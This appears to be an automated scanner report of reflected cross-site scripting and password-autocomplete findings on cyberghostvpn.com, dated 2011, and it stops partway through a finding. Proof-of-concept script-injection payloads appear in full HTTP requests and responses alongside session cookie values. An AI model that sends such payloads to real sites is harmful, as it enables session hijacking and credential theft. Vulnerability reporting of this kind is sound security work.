XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, cyberghost.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://cyberghostvpn.com/index.php [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ccc7"><script>alert(1)</script>cb8ac2566d1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index.php/9ccc7"><script>alert(1)</script>cb8ac2566d1 HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:49 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Surf anonymous
...[SNIP]...
<link rel="canonical" href="http://cyberghostvpn.com/index.php/9ccc7"><script>alert(1)</script>cb8ac2566d1" />
...[SNIP]...

1.2. http://cyberghostvpn.com/page/account.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/page/account.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe3ed"><script>alert(1)</script>4b89ce48c4f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /page/account.php/fe3ed"><script>alert(1)</script>4b89ce48c4f HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:43:03 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Account overvie
...[SNIP]...
<link rel="canonical" href="http://cyberghostvpn.com/page/account.php/fe3ed"><script>alert(1)</script>4b89ce48c4f" />
...[SNIP]...

1.3. http://cyberghostvpn.com/page/recover.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/page/recover.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a296b"><script>alert(1)</script>67ae0051796 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /page/recover.php/a296b"><script>alert(1)</script>67ae0051796 HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:43:03 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Recover your ac
...[SNIP]...
<link rel="canonical" href="http://cyberghostvpn.com/page/recover.php/a296b"><script>alert(1)</script>67ae0051796" />
...[SNIP]...

1.4. http://cyberghostvpn.com/page/registration.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/page/registration.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65a2f"><script>alert(1)</script>54cb255a674 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /page/registration.php/65a2f"><script>alert(1)</script>54cb255a674 HTTP/1.1
Host: cyberghostvpn.com
Proxy-Connection: keep-alive
Referer: http://cyberghostvpn.com/en/account/overview.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=ef3b1e5235247b4f2280aabb485ea8e7; _pk_id.1.3a08=9b31daa595bd050e.1308842730.1.1308842741.1308842730.; _pk_ses.1.3a08=*

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:26:08 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 11591
Content-Type: text/html; charset=utf-8
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Register now <
...[SNIP]...
<link rel="canonical" href="http://cyberghostvpn.com/page/registration.php/65a2f"><script>alert(1)</script>54cb255a674" />
...[SNIP]...

1.5. https://cyberghostvpn.com/action.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/action.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload c7a38<script>alert(1)</script>27a6b547be7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /action.php?c7a38<script>alert(1)</script>27a6b547be7=1 HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:42:35 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 274
Connection: close
Content-Type: text/html

array(4) {
["c7a38<script>alert(1)</script>27a6b547be7"]=>
string(1) "1"
["PHPSESSID"]=>
string(32) "ef3b1e5235247b4f2280aabb485ea8e7"
["_pk_ses_1_3a08"]=>
string(1) "*"
["_pk_id_1_3a08"
...[SNIP]...

1.6. https://cyberghostvpn.com/action.php [pEmail parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/action.php

Issue detail

The value of the pEmail request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bcabd"><script>alert(1)</script>f9196aca4136710b2 was submitted in the pEmail parameter. This input was echoed as bcabd\"><script>alert(1)</script>f9196aca4136710b2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /action.php?pEmail=bcabd"><script>alert(1)</script>f9196aca4136710b2&pEmail2=&btnNext=Next+to+step+2+%C2%BB&action=registration&cmd=checkmail HTTP/1.1
Host: cyberghostvpn.com
Connection: keep-alive
Referer: http://cyberghostvpn.com/page/registration.php
Cache-Control: max-age=0
Origin: http://cyberghostvpn.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=ef3b1e5235247b4f2280aabb485ea8e7; _pk_id.1.3a08=9b31daa595bd050e.1308842730.1.1308842750.1308842730.; _pk_ses.1.3a08=*

Response (redirected)

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:27:11 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 11745
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Register now <
...[SNIP]...
<input type="text" name="pEmail" id="pEmail" class="mid" value="bcabd\"><script>alert(1)</script>f9196aca4136710b2" />
...[SNIP]...

1.7. https://cyberghostvpn.com/action.php [pEmail2 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/action.php

Issue detail

The value of the pEmail2 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6d97"><script>alert(1)</script>572ccaf74d689d34d was submitted in the pEmail2 parameter. This input was echoed as b6d97\"><script>alert(1)</script>572ccaf74d689d34d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /action.php?pEmail=&pEmail2=b6d97"><script>alert(1)</script>572ccaf74d689d34d&btnNext=Next+to+step+2+%C2%BB&action=registration&cmd=checkmail HTTP/1.1
Host: cyberghostvpn.com
Connection: keep-alive
Referer: http://cyberghostvpn.com/page/registration.php
Cache-Control: max-age=0
Origin: http://cyberghostvpn.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=ef3b1e5235247b4f2280aabb485ea8e7; _pk_id.1.3a08=9b31daa595bd050e.1308842730.1.1308842750.1308842730.; _pk_ses.1.3a08=*

Response (redirected)

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:27:20 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 11745
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Register now <
...[SNIP]...
<input type="text" name="pEmail2" id="pEmail2" class="mid" value="b6d97\"><script>alert(1)</script>572ccaf74d689d34d" />
...[SNIP]...

1.8. https://cyberghostvpn.com/page/registration.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/page/registration.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29f96"><script>alert(1)</script>2f3e87cc2ff was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /page/registration.php/29f96"><script>alert(1)</script>2f3e87cc2ff HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:42:35 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 11591

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Register now <
...[SNIP]...
<link rel="canonical" href="http://cyberghostvpn.com/page/registration.php/29f96"><script>alert(1)</script>2f3e87cc2ff" />
...[SNIP]...

2. Password field with autocomplete enabled previous next
There are 20 instances of this issue:

http://cyberghostvpn.com/
http://cyberghostvpn.com/de/anonym-surfen.html
http://cyberghostvpn.com/en/account/add-serial.html
http://cyberghostvpn.com/en/account/overview.html
http://cyberghostvpn.com/en/account/traffic/overview.html
http://cyberghostvpn.com/en/surf-anonym.html
http://cyberghostvpn.com/es/surf-anonym.html
http://cyberghostvpn.com/fr/surf-anonym.html
http://cyberghostvpn.com/index.php
http://cyberghostvpn.com/it/surf-anonym.html
http://cyberghostvpn.com/page/account.php
http://cyberghostvpn.com/page/recover.php
https://cyberghostvpn.com/de/anonym-surfen.html
https://cyberghostvpn.com/en/account/add-serial.html
https://cyberghostvpn.com/en/account/overview.html
https://cyberghostvpn.com/en/account/traffic/overview.html
https://cyberghostvpn.com/en/surf-anonym.html
https://cyberghostvpn.com/es/surf-anonym.html
https://cyberghostvpn.com/fr/surf-anonym.html
https://cyberghostvpn.com/it/surf-anonym.html

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

2.1. http://cyberghostvpn.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET / HTTP/1.1
Host: cyberghostvpn.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:25:23 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 13732
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Surf anonymous
...[SNIP]...
</h3>
   <form action="https://cyberghostvpn.com/action.php" method="post" name="login" id="xLogin">
       <ul class="clearfix">
...[SNIP]...
</label>
           <input size="14" type="password" id="frm_password" name="pPassword" value="" class="text focus-label" />
           </li>
...[SNIP]...

2.2. http://cyberghostvpn.com/de/anonym-surfen.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/de/anonym-surfen.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /de/anonym-surfen.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:52 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Anonym surfen
...[SNIP]...
</h3>
   <form action="https://cyberghostvpn.com/action.php" method="post" name="login" id="xLogin">
       <ul class="clearfix">
...[SNIP]...
</label>
           <input size="14" type="password" id="frm_password" name="pPassword" value="" class="text focus-label" />
           </li>
...[SNIP]...

2.3. http://cyberghostvpn.com/en/account/add-serial.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/en/account/add-serial.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /en/account/add-serial.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:49 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Account overvie
...[SNIP]...
</h2>

<form action="https://cyberghostvpn.com/action.php" method="post">

<fieldset>
...[SNIP]...
<span><input type="password" name="pPassword" id="pPassword" class="mid" /></span>
...[SNIP]...

2.4. http://cyberghostvpn.com/en/account/overview.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/en/account/overview.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /en/account/overview.html HTTP/1.1
Host: cyberghostvpn.com
Proxy-Connection: keep-alive
Referer: http://cyberghostvpn.com/en/product/download.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=ef3b1e5235247b4f2280aabb485ea8e7; _pk_id.1.3a08=9b31daa595bd050e.1308842730.1.1308842738.1308842730.; _pk_ses.1.3a08=*

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:25:40 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 9665
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: keep-alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Account overvie
...[SNIP]...
</h2>

<form action="https://cyberghostvpn.com/action.php" method="post">

<fieldset>
...[SNIP]...
<span><input type="password" name="pPassword" id="pPassword" class="mid" /></span>
...[SNIP]...

2.5. http://cyberghostvpn.com/en/account/traffic/overview.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/en/account/traffic/overview.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /en/account/traffic/overview.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:50 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Account overvie
...[SNIP]...
</h2>

<form action="https://cyberghostvpn.com/action.php" method="post">

<fieldset>
...[SNIP]...
<span><input type="password" name="pPassword" id="pPassword" class="mid" /></span>
...[SNIP]...

2.6. http://cyberghostvpn.com/en/surf-anonym.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/en/surf-anonym.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /en/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:45 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Surf anonymous
...[SNIP]...
</h3>
   <form action="https://cyberghostvpn.com/action.php" method="post" name="login" id="xLogin">
       <ul class="clearfix">
...[SNIP]...
</label>
           <input size="14" type="password" id="frm_password" name="pPassword" value="" class="text focus-label" />
           </li>
...[SNIP]...

2.7. http://cyberghostvpn.com/es/surf-anonym.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/es/surf-anonym.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /es/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:53 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CyberGhost VPN
...[SNIP]...
</h3>
   <form action="https://cyberghostvpn.com/action.php" method="post" name="login" id="xLogin">
       <ul class="clearfix">
...[SNIP]...
</label>
           <input size="14" type="password" id="frm_password" name="pPassword" value="" class="text focus-label" />
           </li>
...[SNIP]...

2.8. http://cyberghostvpn.com/fr/surf-anonym.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/fr/surf-anonym.html

Issue detail

The page contains a form with the following action URL:

https://cyberghostvpn.com/action.php

The form contains the following password field with autocomplete enabled:

pPassword

Request

GET /fr/surf-anonym.html HTTP/1.1
